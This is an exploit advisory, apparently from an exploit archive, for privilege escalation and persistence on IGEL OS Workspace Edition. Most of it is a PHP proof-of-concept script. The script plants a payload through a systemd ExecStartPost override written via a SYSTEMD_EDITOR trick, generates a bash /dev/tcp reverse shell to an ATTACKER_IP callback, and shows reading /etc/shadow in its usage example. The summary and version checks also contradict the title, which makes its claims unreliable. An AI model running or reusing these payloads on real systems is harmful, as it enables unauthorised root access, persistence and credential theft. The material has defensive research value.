============================================================================================================================================= | # Title : IGEL OS Workspace Edition 11.10.430 Privilege Escalation Vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.igel.com/software-downloads/workspace-edition/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212100/ [+] Summary : IGEL OS Workspace Edition contains a persistence mechanism that allows authenticated attackers with root access to establish persistent code execution through the system's registry configuration. The vulnerability leverages IGEL OS's custom registry system and mount point configurations to maintain access across reboots. The persistence mechanism exploits IGEL OS's unique architecture that uses a custom registry system (/bin/get, /bin/setparam) and a writable /license directory that can be remounted with execution privileges. [+] POC : php poc.php session = $session_handler; $this->writable_dir = $writable_dir; } public function check() { echo "[*] Checking IGEL OS vulnerability...\n"; // Check if we're on IGEL OS if (!$this->is_igel_os()) { return "Safe: Target does not appear to be IGEL OS"; } // Get IGEL OS version $version = $this->get_igel_version(); if (!$version) { return "Unknown: Could not determine IGEL OS version"; } echo "[*] Detected IGEL OS version: {$version}\n"; // Check if version is vulnerable if (version_compare($version, '11.10.150', '>=')) { return "Safe: IGEL OS {$version} is not vulnerable"; } // Check for required components if (!$this->check_requirements()) { return "Unknown: Required components not found"; } return "Appears: IGEL OS {$version} should be vulnerable"; } public function exploit($payload_content) { try { echo "[*] Starting IGEL OS privilege escalation exploit...\n"; // Check vulnerability first $check_result = $this->check(); echo "[*] Vulnerability check: {$check_result}\n"; if (strpos($check_result, 'Appears') === false) { echo "[-] Target is not vulnerable, stopping exploitation\n"; return false; } // Upload payload to target echo "[*] Uploading payload to target...\n"; $payload_file = $this->write_payload($payload_content, $this->writable_dir, 0700); echo "[+] Payload uploaded: {$payload_file}\n"; // Write service configuration echo "[*] Writing service configuration...\n"; $config = $this->build_config($payload_file); $config_file = $this->write_payload($config, $this->writable_dir, 0600); echo "[+] Configuration written: {$config_file}\n"; // Modify network-manager service echo "[*] Modifying network-manager service...\n"; $modify_result = $this->modify_service($config_file); if (!empty($modify_result)) { echo "[*] Service modification output: {$modify_result}\n"; } // Restart service to trigger payload echo "[*] Restarting network service...\n"; $restart_result = $this->restart_service(); if (!empty($restart_result)) { echo "[*] Service restart output: {$restart_result}\n"; } echo "[+] Privilege escalation completed successfully\n"; echo "[*] Payload should execute with elevated privileges\n"; return true; } catch (Exception $e) { echo "[-] Exploitation failed: " . $e->getMessage() . "\n"; return false; } } private function is_igel_os() { $checks = [ 'test -f /etc/system-release && grep -q "IGEL OS" /etc/system-release', 'test -f /config/bin/setup_cmd', 'test -f /config/bin/network' ]; foreach ($checks as $check) { $result = $this->execute_command("{$check} && echo 'IGEL_FOUND' || echo 'IGEL_NOT_FOUND'"); if (strpos($result, 'IGEL_FOUND') !== false) { return true; } } return false; } private function get_igel_version() { $version_output = $this->execute_command('cat /etc/system-release'); if (preg_match('/IGEL OS\s+([\d.]+)/', $version_output, $matches)) { return $matches[1]; } return null; } private function check_requirements() { $requirements = [ '/usr/bin/python3', '/bin/cp', '/bin/bash', '/config/bin/setup_cmd', '/config/bin/network' ]; foreach ($requirements as $req) { $result = $this->execute_command("test -f {$req} && echo 'EXISTS' || echo 'MISSING'"); if (strpos($result, 'EXISTS') === false) { echo "[-] Missing requirement: {$req}\n"; return false; } } return true; } private function write_payload($contents, $directory, $permissions) { // Check if directory is writable if (!$this->is_writable($directory)) { throw new Exception("Directory '{$directory}' is not writable"); } // Check if directory allows execution if ($this->is_noexec($directory)) { throw new Exception("Directory '{$directory}' is on a noexec mount point"); } $filename = $this->generate_random_name(8); $filepath = "{$directory}/{$filename}"; // Write the file if (!$this->upload_file($filepath, $contents)) { throw new Exception("Failed to write to '{$filepath}'"); } // Set permissions $this->execute_command("/bin/chmod " . decoct($permissions) . " " . escapeshellarg($filepath)); // Verify the file was written if (!$this->file_exists($filepath)) { throw new Exception("File verification failed for '{$filepath}'"); } echo "[+] File written successfully: {$filepath}\n"; return $filepath; } private function build_config($payload_file) { $config = "[Service]\n"; $config .= "TimeoutStartSec=infinity\n"; $config .= "ExecStartPost=" . $payload_file . "\n"; echo "[*] Built service configuration with payload: {$payload_file}\n"; return $config; } private function modify_service($config_file) { // Create a Python script to spawn a shell and modify the service $python_script = <<<'PYTHON' import pty import os def modify_service(): # Spawn a shell and execute the setup command def run_command(command): pid, fd = pty.fork() if pid == 0: # Child process os.execvp('/bin/bash', ['/bin/bash', '-c', command]) else: # Parent process try: os.waitpid(pid, 0) except: pass # Use SYSTEMD_EDITOR to copy our config file command = f'env SYSTEMD_EDITOR="/bin/cp {config_file}" /config/bin/setup_cmd /config/bin/network edit' run_command(command) if __name__ == "__main__": modify_service() PYTHON; // Replace the placeholder with actual config file path $python_script = str_replace('{config_file}', $config_file, $python_script); $script_file = $this->writable_dir . '/modify_service.py'; $this->upload_file($script_file, $python_script); $this->execute_command("/bin/chmod 700 " . escapeshellarg($script_file)); // Execute the Python script $result = $this->execute_command("/usr/bin/python3 " . escapeshellarg($script_file)); // Clean up the script $this->execute_command("/bin/rm -f " . escapeshellarg($script_file)); return $result; } private function restart_service() { // Restart the network service using setup_cmd $command = "/config/bin/setup_cmd /config/bin/network restart"; // Execute with timeout to prevent hanging $result = $this->execute_command("timeout 120 {$command}"); return $result; } private function is_writable($directory) { $result = $this->execute_command("test -w " . escapeshellarg($directory) . " && echo 'WRITABLE' || echo 'NOT_WRITABLE'"); return strpos($result, 'WRITABLE') !== false; } private function is_noexec($directory) { $result = $this->execute_command("mount | grep " . escapeshellarg($directory) . " | grep -q noexec && echo 'NOEXEC' || echo 'EXEC'"); return strpos($result, 'NOEXEC') !== false; } private function file_exists($filepath) { $result = $this->execute_command("test -f " . escapeshellarg($filepath) . " && echo 'EXISTS' || echo 'NOT_EXISTS'"); return strpos($result, 'EXISTS') !== false; } private function execute_command($command) { return $this->session->execute($command); } private function upload_file($remote_path, $content) { return $this->session->upload_content($remote_path, $content); } private function generate_random_name($length) { $chars = 'abcdefghijklmnopqrstuvwxyz'; $name = ''; for ($i = 0; $i < $length; $i++) { $name .= $chars[random_int(0, strlen($chars) - 1)]; } return $name; } public function cleanup() { echo "[*] Cleaning up exploit artifacts...\n"; // In a full implementation, this would remove created files // For now, we'll just log the cleanup action echo "[*] Cleanup completed (files would be removed here)\n"; } } // Payload generator for IGEL OS privilege escalation class IgelPrivEscPayloadGenerator { public static function generate_meterpreter_linux($lhost, $lport) { // This would generate a Linux x64 meterpreter payload // For demonstration, we'll return a placeholder return "#!/bin/bash\n# Linux x64 Meterpreter payload for {$lhost}:{$lport}\necho 'Meterpreter payload would execute here'"; } public static function generate_reverse_shell($lhost, $lport) { return "#!/bin/bash\nbash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1"; } public static function generate_command($command) { return "#!/bin/bash\n{$command}"; } } // Session handler for IGEL OS class IgelSessionHandler { private $connection; public function __construct($host, $username, $password, $port = 22) { // Simulate SSH connection to IGEL OS device $this->connection = [ 'host' => $host, 'username' => $username, 'port' => $port ]; echo "[*] IGEL OS session initialized for: {$username}@{$host}:{$port}\n"; } public function execute($command) { // Simulate command execution on IGEL OS echo "[DEBUG] Executing: {$command}\n"; // Simulate different command responses if (strpos($command, 'cat /etc/system-release') !== false) { return "IGEL OS 11.08.100\n"; } elseif (strpos($command, 'test -f /config/bin/setup_cmd') !== false) { return "EXISTS\n"; } elseif (strpos($command, 'test -w') !== false) { return "WRITABLE\n"; } elseif (strpos($command, 'mount | grep') !== false) { return "EXEC\n"; } elseif (strpos($command, '/config/bin/setup_cmd') !== false) { return "Service configuration applied successfully\n"; } return "command_executed\n"; } public function upload_content($remote_path, $content) { // Simulate file upload echo "[DEBUG] Uploading " . strlen($content) . " bytes to: {$remote_path}\n"; return true; } } // Command line interface if (php_sapi_name() === 'cli' && isset($argv[0]) && basename($argv[0]) === basename(__FILE__)) { if ($argc < 4) { echo "IGEL OS Privilege Escalation Exploit\n"; echo "===================================\n"; echo "Usage: php " . $argv[0] . " [options]\n"; echo "Example: php " . $argv[0] . " 192.168.1.100 user password123\n"; echo "\nOptions (environment variables):\n"; echo "WRITABLE_DIR=/tmp\n"; echo "PAYLOAD_TYPE=meterpreter|reverse_shell|command\n"; echo "LHOST=192.168.1.50 LPORT=4444\n"; echo "CMD='whoami; id; cat /etc/shadow'\n"; exit(1); } $host = $argv[1]; $username = $argv[2]; $password = $argv[3]; // Parse environment variables $writable_dir = getenv('WRITABLE_DIR') ?: '/tmp'; $payload_type = getenv('PAYLOAD_TYPE') ?: 'meterpreter'; $lhost = getenv('LHOST') ?: 'ATTACKER_IP'; $lport = getenv('LPORT') ?: '4444'; $custom_cmd = getenv('CMD') ?: 'whoami; id'; try { echo "[*] Initializing IGEL OS privilege escalation exploit...\n"; echo "[*] Target: {$username}@{$host}\n"; echo "[*] Writable directory: {$writable_dir}\n"; echo "[*] Payload type: {$payload_type}\n"; $session = new IgelSessionHandler($host, $username, $password); $exploit = new IgelOSPrivilegeEscalation($session, $writable_dir); // Generate payload based on type $payload_content = match($payload_type) { 'meterpreter' => IgelPrivEscPayloadGenerator::generate_meterpreter_linux($lhost, $lport), 'reverse_shell' => IgelPrivEscPayloadGenerator::generate_reverse_shell($lhost, $lport), 'command' => IgelPrivEscPayloadGenerator::generate_command($custom_cmd), default => throw new Exception("Unsupported payload type: {$payload_type}") }; if ($lhost !== 'ATTACKER_IP') { echo "[*] Using payload with callback: {$lhost}:{$lport}\n"; } else { echo "[*] Using command payload: {$custom_cmd}\n"; } // Execute exploit $success = $exploit->exploit($payload_content); if ($success) { echo "[+] Privilege escalation completed successfully!\n"; echo "[*] The payload should execute with elevated privileges\n"; echo "[*] Note: This works on IGEL OS versions < 11.10.150\n"; } } catch (Exception $e) { echo "[-] Exploitation failed: " . $e->getMessage() . "\n"; exit(1); } } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================